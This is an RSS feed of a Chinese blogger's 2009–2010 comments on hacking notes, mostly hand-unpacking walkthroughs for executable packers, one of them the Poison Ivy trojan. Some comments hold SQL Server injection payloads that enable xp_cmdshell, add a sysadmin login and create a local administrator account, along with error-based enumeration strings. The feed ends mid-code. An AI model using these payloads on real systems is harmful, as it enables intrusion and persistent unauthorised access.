<?xml version="1.0" encoding="utf-8"?>

<rdf:RDF
  xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
  xmlns:dc="http://purl.org/dc/elements/1.1/"
  xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
  xmlns:admin="http://webns.net/mvcb/"
  xmlns:content="http://purl.org/rss/1.0/modules/content/"
  xmlns="http://purl.org/rss/1.0/">

  <channel rdf:about="http://www.kyospace.com/">
    <title><![CDATA[KYO的地盘]]></title>
    <link><![CDATA[http://www.kyospace.com/]]></link>
    <description><![CDATA[心情日记+搜集的文章]]></description>
    <dc:language>zh-cn</dc:language>
    <dc:creator><![CDATA[KYO]]></dc:creator>
    <dc:date>2010-08-01T15:21:13Z</dc:date>
    <admin:generatorAgent rdf:resource="http://www.kyospace.com/" />
    <admin:errorReportsTo rdf:resource="http://www.kyospace.com/"/>
    <sy:updatePeriod>hourly</sy:updatePeriod>
    <sy:updateFrequency>1</sy:updateFrequency>
    <sy:updateBase>2000-01-01T12:00+00:00</sy:updateBase>
    <items>
      <rdf:Seq>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=345">
    <title><![CDATA[Comment on: 黑客网址记录]]></title>
    <description><![CDATA[http://hashchecker.de/

http://hashkiller.com/password/

md5

IP查询
http://www.yougetsignal.com/tools/web-sites-on-web-server/]]></description>
    <content:encoded><![CDATA[<a target='_blank' href='http://hashchecker.de/'>http://hashchecker.de/</a><br><br><a target='_blank' href='http://hashkiller.com/password/'>http://hashkiller.com/password/</a><br><br>md5<br><br>IP查询<br><a target='_blank' href='http://www.yougetsignal.com/tools/web-sites-&#111;n-web-server/'>http://www.yougetsignal.com/tools/web-sites-&#111;n-web-server/</a>
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=345#commmark_832]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2010-07-13T10:36:10Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=341">
    <title><![CDATA[Comment on: tips 条件断点]]></title>
    <description><![CDATA[&lt;body onsel&#101;ctstart="return false;" oncontextmenu="return false;" &gt;

不能复制 不能右键]]></description>
    <content:encoded><![CDATA[&lt;body onselectstart=&quot;return false;&quot; oncontextmenu=&quot;return false;&quot; &gt;<br><br>不能复制  不能右键
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=341#commmark_829]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2010-03-08T10:55:55Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=238">
    <title><![CDATA[Comment on: sql server 2005注入(转)]]></title>
    <description><![CDATA[得到客户端主机名:
sel&#101;ct host_name();
得到服务端主机名:
sel&#101;ct @@servername;
结果一样就极有可能未分离，结果不一样就是分离的

/*

;exec master..sp_addlogin sql,sqlwoaini--
;exec master..sp_addsrvrolemember sql,sysadmin--

;EXEC MA...]]></description>
    <content:encoded><![CDATA[得到客户端主机名:<br>select host_name();<br>得到服务端主机名:<br>select @@servername;<br>结果一样就极有可能未分离，结果不一样就是分离的<br><br>/*<br><br>;exec master..sp_addlogin sql,sqlwoaini--<br>;exec master..sp_addsrvrolemember sql,sysadmin--<br><br>;EXEC MASTER..XP_CMDSHELL &#39;net user sql sqlwoaini /add&#39;--<br>;EXEC MASTER..XP_CMDSHELL &#39;net localgroup administrators sql /add&#39;--<br>*/<br><br><br>[N] = 第N個表<br>ID=1 and (select top 1 name from(select top [N] id,name from sysobjects where xtype=char(85)) T order by id desc)&gt;1<br><br>[T] = 表名<br>[N] = 第N個字段<br>ID=1 and (select Top 1 col_name(object_id(&#39;[T]&#39;),[N]) from sysobjects)&gt;1
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=238#commmark_828]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2010-03-04T15:56:44Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=238">
    <title><![CDATA[Comment on: sql server 2005注入(转)]]></title>
    <description><![CDATA[
得到客户端主机名:
sel&#101;ct host_name();
得到服务端主机名:
sel&#101;ct @@servername;
结果一样就极有可能未分离，结果不一样就是分离的
]]></description>
    <content:encoded><![CDATA[<br>得到客户端主机名:<br>select host_name();<br>得到服务端主机名:<br>select @@servername;<br>结果一样就极有可能未分离，结果不一样就是分离的<br>
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=238#commmark_821]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2010-01-22T15:55:24Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=238">
    <title><![CDATA[Comment on: sql server 2005注入(转)]]></title>
    <description><![CDATA[对于SQL2005,貌似NBSI,穿山甲等注入工具都列不出数据,目录和命令输出,希望作者升级一下.
SQL2005开启选项的一些方法整理:
 sql server 2005下开启xp_cmdshell的办法
EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;R...]]></description>
    <content:encoded><![CDATA[对于SQL2005,貌似NBSI,穿山甲等注入工具都列不出数据,目录和命令输出,希望作者升级一下.<br>SQL2005开启选项的一些方法整理:<br>        sql server 2005下开启xp_cmdshell的办法<br>EXEC sp_configure &#39;show advanced options&#39;,1;RECONFIGURE;EXEC sp_configure &#39;xp_cmdshell&#39;,1;RECONFIGURE;<br>关闭一样.只是将上面的后面的那个&quot;1&quot;改成&quot;0&quot;就可以了:<br>EXEC sp_configure &#39;show advanced options&#39;,1;RECONFIGURE;EXEC sp_configure &#39;xp_cmdshell&#39;,0;RECONFIGURE;<br>        sql2005下，xp_cmdshell、sp_oA的开启方法我查到资料了，我都已经开启了，浏览器返回正常，执行命令不会再出现权限错误，但是执行&quot;sp_oA&quot;时会出现超时提示，执行&quot;xp_cmdshell&quot;时，本地监听无反应，这些我在提问贴里已经说明了，不知道是不是防火墙阻止了ping、tftp 和telnet的对外连接,我实在是找不到好的得到这个SQL2005的IP的办法了.<br>        SQL2005开启&#39;OPENROWSET&#39;支持的方法：<br>exec sp_configure &#39;show advanced options&#39;, 1;RECONFIGURE;exec sp_configure &#39;Ad Hoc Distributed Queries&#39;,1;RECONFIGURE;<br>;exec sp_configure &quot;show advanced options&quot;, 1;RECONFIGURE;exec sp_configure &quot;Ad Hoc Distributed Queries&quot;,1;RECONFIGURE;--<br>        SQL2005开启&#39;sp_oacreate&#39;支持的方法:<br>exec sp_configure &#39;show advanced options&#39;, 1;RECONFIGURE;exec sp_configure &#39;Ole Automation Procedures&#39;,1;RECONFIGURE;<br>
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=238#commmark_820]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2010-01-22T15:32:11Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=320">
    <title><![CDATA[Comment on: 自己记录2.......]]></title>
    <description><![CDATA[ASProtect 1.2 / 1.2c-> Alexey Solodovnikov 

可能是最早的asprotect的壳了吧
我今天下载后自己加了壳试了试 
的确挺简单的.

用最后一次异常法来到最后一次异常处后,再用代码段内存访问断点就到OEP了.

这时,IAT是加密的.
dd 405000内存写入断点可来到这里...]]></description>
    <content:encoded><![CDATA[ASProtect 1.2 / 1.2c-&gt; Alexey Solodovnikov   <br><br>可能是最早的asprotect的壳了吧<br>我今天下载后自己加了壳试了试  <br>的确挺简单的.<br><br>用最后一次异常法来到最后一次异常处后,再用代码段内存访问断点就到OEP了.<br><br>这时,IAT是加密的.<br>dd 405000内存写入断点可来到这里<br>/*92F4D0*/  CALL 0092F0EC<br>/*92F4D5*/  CALL 0092F358<br>/*92F4DA*/  MOV EDX,DWORD PTR DS:[EDI]<br>/*92F4DC*/  MOV DWORD PTR DS:[EDX],EAX   //这里eax是错误的IAT<br><br>但是过了/*92F4D0*/  CALL 0092F0EC后eax是正确的IAT<br>那么nop掉/*92F4D5*/  CALL 0092F358这句应该是可以的.<br><br>不过还是有校验.<br>nop完顺便 hr 92F4D5再f9后 发现IAT已经填充完了.<br>这时候还等什么  马上dumpfix吧<br>完了后发现还有一个指针是错的,剪切掉后能正常运行,呵呵到这就over了.<br><br>
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=320#commmark_789]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2009-05-03T17:49:04Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=319">
    <title><![CDATA[Comment on: 自己记录.........]]></title>
    <description><![CDATA[脱壳也玩了一阵子了
感觉也就那样 没什么可值得研究的
基本上一些不太复杂的加密壳也都能脱了
复杂的 我也没精力弄了 毕竟好多都有脚本或者脱壳机

以后碰到再说吧
主业还是安全这块 多分析分析漏洞也许是有用的]]></description>
    <content:encoded><![CDATA[脱壳也玩了一阵子了<br>感觉也就那样  没什么可值得研究的<br>基本上一些不太复杂的加密壳也都能脱了<br>复杂的 我也没精力弄了  毕竟好多都有脚本或者脱壳机<br><br>以后碰到再说吧<br>主业还是安全这块   多分析分析漏洞也许是有用的
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=319#commmark_788]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2009-04-27T16:12:29Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=318">
    <title><![CDATA[Comment on: Alex Protector 1.0 beta2]]></title>
    <description><![CDATA[手脱 EXEStealth 2.75a -> WebtoolMaster
两分钟解决了这个
感觉比上面那个简单多了.

OEP
内存访问断
代码段---PE头---代码段
就到了
/*4070D1*/ PUSH EBP
/*4070D2*/ MOV EBP,ESP
/*4070D4*/ PUSH -1
/*4070D6*/ PUSH 0014.0040C0E8
/*4070DB*/ PUSH 0014...]]></description>
    <content:encoded><![CDATA[手脱 EXEStealth 2.75a -&gt; WebtoolMaster<br>两分钟解决了这个<br>感觉比上面那个简单多了.<br><br>OEP<br>内存访问断<br>代码段---PE头---代码段<br>就到了<br>/*4070D1*/  PUSH EBP<br>/*4070D2*/  MOV EBP,ESP<br>/*4070D4*/  PUSH -1<br>/*4070D6*/  PUSH 0014.0040C0E8<br>/*4070DB*/  PUSH 0014.0040855C<br>/*4070E0*/  MOV EAX,DWORD PTR FS:[0]<br>/*4070E6*/  PUSH EAX<br>he 4070d1<br>这时候dumpfix不行  因为有部分iat加密了<br><br>0040C0B8  7D6111E8  shell32.ShellExecuteA<br>0040C0BC  00000000<br>0040C0C0  001434C0<br>0040C0C4  001434C5<br>0040C0C8  001434CA<br>0040C0CC  001434CF<br>0040C0D0  001434D4<br>0040C0D4  001434D9<br>0040C0D8  001434DE<br>0040C0DC  001434E3<br>0040C0E0  001434E8<br><br><br>在0040C0C0下内存访问断<br><br>可知道有两个地方会覆盖<br>004176AB   /76 0E           JBE SHORT 0014.004176BB<br>004176AD   |EB 2A           JMP SHORT 0014.004176D9<br>004176AF   |EB 0A           JMP SHORT 0014.004176BB<br>004176B1   |81FB 00000080   CMP EBX,80000000<br>004176B7   |73 02           JNB SHORT 0014.004176BB<br>把004176AB 和004176B7处的jnb  nop掉就行了.<br><br><br>不过还有校验的地方<br>hr 004176AB 可来到这里<br>/*4173CE*/  MUL EDX<br>/*4173D0*/  ADD EBX,EAX<br>/*4173D2*/  INC EDX<br>/*4173D3*/  INC EDI<br>/*4173D4*/  LOOPD SHORT 0014.004173CC<br>/*4173D6*/  XCHG EAX,EBX<br><br>这里有个跳转<br>00417739    8B9D F82F4000   MOV EBX,DWORD PTR SS:[EBP+402FF8]<br>0041773F    33C3            XOR EAX,EBX<br>00417741    74 08           JE SHORT 0014.0041774B<br><br>je没实现就改为jmp吧<br>现在再到OEP后直接用OD插件脱壳都是OK的.
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=318#commmark_786]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2009-04-22T16:59:33Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=316">
    <title><![CDATA[Comment on: 如何使编译出来的文件更小]]></title>
    <description><![CDATA[其实合并区段减少不了多少字节
最关键是 linker选项里面勾上ignore default libraries]]></description>
    <content:encoded><![CDATA[其实合并区段减少不了多少字节<br>最关键是 linker选项里面勾上ignore default libraries
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=316#commmark_781]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2009-04-17T14:07:25Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=312">
    <title><![CDATA[Comment on: PECompact 2.x -> Jeremy Collake]]></title>
    <description><![CDATA[脱一个古董的壳。

国产的 好象名字是 仙剑1.003
用PEID查 有个区段是XJ

OEP好找。 2次内存断点即可。
我这里是40169d。he 40169d
DUMP后修复有问题。
找了个无效指针4050ac记录下。

重新载入
dd 4050ac 下内存写入断点。
发现在/*40E955*/ MOV DWORD PTR...]]></description>
    <content:encoded><![CDATA[脱一个古董的壳。<br><br>国产的  好象名字是 仙剑1.003<br>用PEID查 有个区段是XJ<br><br>OEP好找。  2次内存断点即可。<br>我这里是40169d。he 40169d<br>DUMP后修复有问题。<br>找了个无效指针4050ac记录下。<br><br>重新载入<br>dd 4050ac  下内存写入断点。<br>发现在/*40E955*/  MOV DWORD PTR DS:[EDX],ESI<br>给覆盖了。<br>往上看  发现这个地方跳转实现的话 就覆盖。<br>/*40E93A*/  JBE SHORT CrackM.0040E94A<br><br>NOP掉吧<br>再重新来过，<br>he 40e93a<br><br>在到达OEP后会退出，看来有校验。<br><br>hr 40e93a<br><br>这时发现校验在这里<br>/*40E9D6*/  JE SHORT CrackM.0040E9E0<br>把它jmp就过了校验。<br>DUMP时记得修正一下境象大小。<br>修复完IAT  再打开程序 就能运行了。看来这个壳还算简单。<br><br>我感觉他的加密IAT和校验有点象yoda&#39;s Protector里面的代码啊。
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=312#commmark_780]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2009-04-12T21:55:59Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=312">
    <title><![CDATA[Comment on: PECompact 2.x -> Jeremy Collake]]></title>
    <description><![CDATA[FSG 2.0 -> bart/xt

也算是压缩壳吧,不过比其他的稍微麻烦点.

入口点是这样的

/*400154*/ XCHG DWORD PTR DS: ,ESP
/*40015A*/ POPAD
/*40015B*/ XCHG EAX,ESP
/*40015C*/ PUSH EBP
/*40015D*/ MOVS BYTE PTR ES: ,BYTE PTR DS: 
/*40015E*/ MOV DH,80
/...]]></description>
    <content:encoded><![CDATA[FSG 2.0 -&gt; bart/xt<br><br>也算是压缩壳吧,不过比其他的稍微麻烦点.<br><br>入口点是这样的<br><br>/*400154*/  XCHG DWORD PTR DS:[505AE0],ESP<br>/*40015A*/  POPAD<br>/*40015B*/  XCHG EAX,ESP<br>/*40015C*/  PUSH EBP<br>/*40015D*/  MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]<br>/*40015E*/  MOV DH,80<br>/*400160*/  CALL DWORD PTR DS:[EBX]<br>/*400162*/  JNB SHORT KeyGen.0040015D<br>/*400164*/  XOR ECX,ECX<br>/*400166*/  CALL DWORD PTR DS:[EBX]<br>/*400168*/  JNB SHORT KeyGen.00400180<br>/*40016A*/  XOR EAX,EAX<br>/*40016C*/  CALL DWORD PTR DS:[EBX]<br>/*40016E*/  JNB SHORT KeyGen.0040018F<br>/*400170*/  MOV DH,80<br>/*400172*/  INC ECX<br>/*400173*/  MOV AL,10<br>/*400175*/  CALL DWORD PTR DS:[EBX]<br>/*400177*/  ADC AL,AL<br>/*400179*/  JNB SHORT KeyGen.00400175<br>/*40017B*/  JNZ SHORT KeyGen.004001B7<br>/*40017D*/  STOS BYTE PTR ES:[EDI]<br>/*40017E*/  JMP SHORT KeyGen.00400160<br>/*400180*/  CALL DWORD PTR DS:[EBX+8]<br>/*400183*/  ADD DH,DH<br>/*400185*/  SBB ECX,1<br>/*400188*/  JNZ SHORT KeyGen.00400198<br>/*40018A*/  CALL DWORD PTR DS:[EBX+4]<br>/*40018D*/  JMP SHORT KeyGen.004001B3<br>/*40018F*/  LODS BYTE PTR DS:[ESI]<br>/*400190*/  SHR EAX,1<br>/*400192*/  JE SHORT KeyGen.004001C1<br>/*400194*/  ADC ECX,ECX<br>/*400196*/  JMP SHORT KeyGen.004001B0<br>/*400198*/  XCHG EAX,ECX<br>/*400199*/  DEC EAX<br>/*40019A*/  SHL EAX,8<br>/*40019D*/  LODS BYTE PTR DS:[ESI]<br>/*40019E*/  CALL DWORD PTR DS:[EBX+4]<br>/*4001A1*/  CMP EAX,DWORD PTR DS:[EBX-8]<br>/*4001A4*/  JNB SHORT KeyGen.004001B0<br>/*4001A6*/  CMP AH,5<br>/*4001A9*/  JNB SHORT KeyGen.004001B1<br>/*4001AB*/  CMP EAX,7F<br>/*4001AE*/  JA SHORT KeyGen.004001B2<br>/*4001B0*/  INC ECX<br>/*4001B1*/  INC ECX<br>/*4001B2*/  XCHG EAX,EBP<br>/*4001B3*/  MOV EAX,EBP<br>/*4001B5*/  MOV DH,0<br>/*4001B7*/  PUSH ESI<br>/*4001B8*/  MOV ESI,EDI<br>/*4001BA*/  SUB ESI,EAX<br>/*4001BC*/  REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]<br>/*4001BE*/  POP ESI<br>/*4001BF*/  JMP SHORT KeyGen.00400160<br>/*4001C1*/  POP ESI<br>/*4001C2*/  LODS DWORD PTR DS:[ESI]<br>/*4001C3*/  XCHG EAX,EDI<br>/*4001C4*/  LODS DWORD PTR DS:[ESI]<br>/*4001C5*/  PUSH EAX<br>/*4001C6*/  CALL DWORD PTR DS:[EBX+10]<br>/*4001C9*/  XCHG EAX,EBP<br>/*4001CA*/  MOV EAX,DWORD PTR DS:[EDI]<br>/*4001CC*/  INC EAX<br>/*4001CD*/  JS SHORT KeyGen.004001C2<br>/*4001CF*/  JNZ SHORT KeyGen.004001D4<br>/*4001D1*/  JMP DWORD PTR DS:[EBX+C]<br>/*4001D4*/  PUSH EAX<br>/*4001D5*/  PUSH EBP<br>/*4001D6*/  CALL DWORD PTR DS:[EBX+14]<br>/*4001D9*/  STOS DWORD PTR ES:[EDI]<br>/*4001DA*/  JMP SHORT KeyGen.004001CA<br>/*4001DC*/  XOR ECX,ECX<br>/*4001DE*/  INC ECX<br>/*4001DF*/  CALL DWORD PTR DS:[EBX]<br>/*4001E1*/  ADC ECX,ECX<br>/*4001E3*/  CALL DWORD PTR DS:[EBX]<br>/*4001E5*/  JB SHORT KeyGen.004001DF<br>/*4001E7*/  RET<br>/*4001E8*/  ADD DL,DL<br>/*4001EA*/  JNZ SHORT KeyGen.004001F1<br>/*4001EC*/  MOV DL,BYTE PTR DS:[ESI]<br>/*4001EE*/  INC ESI<br>/*4001EF*/  ADC DL,DL<br>/*4001F1*/  RET<br><br>这个用esp定律好象不行.<br>不过比较短,可以单步慢慢跟.<br>跟过两遍后发现直接f4到这<br>/*4001D1*/  JMP DWORD PTR DS:[EBX+C]<br>再单步一下就到oep了.<br>这时看下iat<br><br>0040C09C  7C80CD27  kernel32.SetHandleCount<br>0040C0A0  7C812FC9  kernel32.GetStdHandle<br>0040C0A4  7C810EE1  kernel32.GetFileType<br>0040C0A8  7C94ABA5  ntdll.RtlUnwind<br>0040C0AC  7C810E17  kernel32.WriteFile<br>0040C0B0  7C80AE30  kernel32.GetProcAddress<br>0040C0B4  7C812A99  kernel32.RaiseException<br>0040C0B8  7C812F06  kernel32.GetCPInfo<br>0040C0BC  7C8099A5  kernel32.GetACP<br>0040C0C0  7FFFFFFF<br>0040C0C4  77D24A4E  user32.EndDialog<br>0040C0C8  77D507EA  user32.MessageBoxA<br>0040C0CC  77D2E8F6  user32.LoadIconA<br>0040C0D0  77D2F3C2  user32.SendMessageA<br>0040C0D4  77D3B144  user32.DialogBoxParamA<br>0040C0D8  77D6B05E  user32.GetDlgItemTextA<br>0040C0DC  7FFFFFFF<br>0040C0E0  76B15A4A  winmm.waveOutWrite<br>0040C0E4  76B159D9  winmm.waveOutPrepareHeader<br>0040C0E8  76B15201  winmm.waveOutOpen<br>0040C0EC  76B15726  winmm.waveOutClose<br><br>每组iat中间间隔是7fffffff而不是00000000<br>这个好说 右键---&gt;二进制填充为0就ok了<br>这时再dump和修复iat就能运行了.
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=312#commmark_779]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2009-04-10T14:46:23Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=253">
    <title><![CDATA[Comment on: 好久没写字了,脱个超easy的壳吧PEtite 2.x [Level 1/9] -> Ian Luck]]></title>
    <description><![CDATA[我发现现在OD插件厉害的话
再设置忽略所有异常,脱这个壳也不用这么麻烦
直接hr esp f9 f9 f9 就OK了.]]></description>
    <content:encoded><![CDATA[我发现现在OD插件厉害的话<br>再设置忽略所有异常,脱这个壳也不用这么麻烦<br>直接hr esp f9 f9 f9 就OK了.
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=253#commmark_778]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2009-04-10T12:38:20Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=312">
    <title><![CDATA[Comment on: PECompact 2.x -> Jeremy Collake]]></title>
    <description><![CDATA[其实脱壳也挺有意思的.


手脱原版的Poison Ivy 2.3.2.exe
听说国外这个马功能很强大。想玩玩试试，随手用PEID查看发现加的有壳。
不过没查出来是什么壳，只看到最后一个区段名是GPPE。
不管了，给它脱了！！
--------------------------邪恶的分割线-----------...]]></description>
    <content:encoded><![CDATA[其实脱壳也挺有意思的.<br><br><br>手脱原版的Poison Ivy 2.3.2.exe<br>听说国外这个马功能很强大。想玩玩试试，随手用PEID查看发现加的有壳。<br>不过没查出来是什么壳，只看到最后一个区段名是GPPE。<br>不管了，给它脱了！！<br>--------------------------邪恶的分割线----------------------------<br>1.查找OEP<br>可以用老Y写的GUnPacker0.50来找<br><br>当然这个也可以直接用esp定律。F9两次就可以到<br>/*561A9C*/  PUSH EBP<br>/*561A9D*/  MOV EBP,ESP<br>/*561A9F*/  MOV ECX,4<br>/*561AA4*/  PUSH 0<br>/*561AA6*/  PUSH 0<br>/*561AA8*/  DEC ECX<br>/*561AA9*/  DB 75<br>/*561AAA*/  DB F9<br><br>0x00561A9C就是OEP了。<br><br>--------------------------华丽的分割线----------------------------<br>2.去校验。<br>找到OEP后可以先he 561A9C作备用。<br>这时DUMP后再ImportREC修复IAT时发现有好多无效的。<br>可能有些IAT被加密了。<br>顺手找一个CALL<br>/*561D11*/  CALL Poison_I.0040720C<br>enter敲进去看下<br>/*40720C*/  JMP DWORD PTR DS:[5684CC]<br>然后在命令窗口dd 5684CC<br><br>00568310  7C812FC9  kernel32.GetStdHandle<br>00568314  7C810B07  kernel32.GetFileSize<br>00568318  7C810EE1  kernel32.GetFileType<br>0056831C  7C801A28  kernel32.createFileA<br>00568320  7C809BD7  kernel32.CloseHandle<br>00568324  00000000<br>00568328  001534E0  ;加密了<br>0056832C  001534E5<br>00568330  001534EA<br>00568334  001534EF<br>00568338  00000000<br>0056833C  001534F4<br>00568340  001534F9<br>00568344  001534FE<br><br>发现确实有一些IAT被加密了<br><br>重新来过吧<br>在 00568328下内存写入断点。<br><br>当发现 变为00568328  77D311DB  user32.GetKeyboardType时<br><br>注意看数据窗口<br>ESI=001534E0<br>DS:[00568328]=77D311DB (user32.GetKeyboardType)<br>然后F8走一下看看<br>发现<br>/*61161D*/  CMP EBX,77FFFFFF<br>/*611623*/  JBE SHORT Poison_I.00611633<br>在611623处跳转实现了就会加密。所以这里干脆把它NOP掉。<br><br>但是NOP掉后再F9执行，程序直接退出了，看来还是有校验啊。<br><br><br>那我在hr 611623再F9 看看到底那里校验我的。<br><br>来到这了<br>/*611319*/  MOV AL,BYTE PTR DS:[EDI]<br>/*61131B*/  MUL EDX<br>/*61131D*/  ADD EBX,EAX<br>/*61131F*/  INC EDX<br>/*611320*/  INC EDI<br>/*611321*/  LOOPD SHORT Poison_I.00611319<br>/*611323*/  XCHG EAX,EBX<br><br>MOV AL,BYTE PTR DS:[EDI]就是取那里的代码然后放到了eax里。<br>把这个循环走出来再看下，<br>/*611695*/  JMP SHORT Poison_I.00611698<br>/*611697*/  ???<br>/*611698*/  MOV EBX,DWORD PTR SS:[EBP+40425E]<br>/*61169E*/  XOR EAX,EBX   ;这里是比较是否相等的，关键。<br>/*6116A0*/  JE SHORT Poison_I.006116AA<br><br>比完以后没跳转，那我把它改成jmp 006116AA应该就OK了。<br>把其他断点全删除，只留到OEP那个，再F9后就飞向光明之颠。<br><br>避开了IAT加密，这次再DUMP，修复IAT就没问题了。不过在DUMP时要先修正下镜象大小。注意OEP=561A9C-40000=161a9c。<br><br>
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=312#commmark_777]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2009-04-10T12:12:57Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=188">
    <title><![CDATA[Comment on: SHELLCODE测试代码]]></title>
    <description><![CDATA[char shellcode ="\xEB\xFE"; jmp -1]]></description>
    <content:encoded><![CDATA[char shellcode[] =&quot;\xEB\xFE&quot;;  jmp -1
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=188#commmark_776]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2009-03-20T15:07:06Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=300">
    <title><![CDATA[Comment on: OD的万能断点插件原理]]></title>
    <description><![CDATA[2008! 右边最后一个不为0的数是:


int GetFactorNumber(unsigned Number, unsigned Factor)
{
 int result = 0;
 if(Factor < 2 || Number < 1)
 return -1;
 while(Number >= Factor)
 result += Number /= Factor;
 return result;
}

int GetLastDigit...]]></description>
    <content:encoded><![CDATA[2008!  右边最后一个不为0的数是:<br><br><br>int GetFactorNumber(unsigned Number, unsigned Factor)<br>{<br>         int result = 0;<br>                    if(Factor &lt; 2 || Number &lt; 1)<br>                            return -1;<br>         while(Number &gt;= Factor)<br>                            result += Number /= Factor;<br>         return result;<br>}<br><br>int GetLastDigit(unsigned Number)<br>{<br>         int result = 1;/*这是连乘法的基础值，也是最后要返回的结果*/<br>         int i;/*循环变量*/<br>         int tmp;/*循环中用到的临时值*/<br>         int Count = 0;/*记录找到的因子2的个数，直到和因子5的个数相等*/<br>int TotalFactors = GetFactorNumber(Number, 5);/*因子5的总数*/<br>         for(i = Number; i &gt;= 1; i--)/*从Number一直向下处理*/<br>                    {<br>                            tmp = i;<br>                            /*尽可能多的得到因子2，直到tmp是个奇数或者不需要更多的因子2*/<br>                 while(tmp % 2 == 0 && Count &lt; TotalFactors)<br>                            {<br>                                    tmp /= 2;<br>                                    Count++;<br>                            }<br>                 while(tmp % 5 == 0)/*除去所有的因子5*/<br>                                    tmp /= 5;<br>                            tmp %= 10;/*取得个位数*/<br>                            result *= tmp;/*做阶乘*/<br>                            result %= 10;/*只保留个位数*/<br>                    }<br>         return 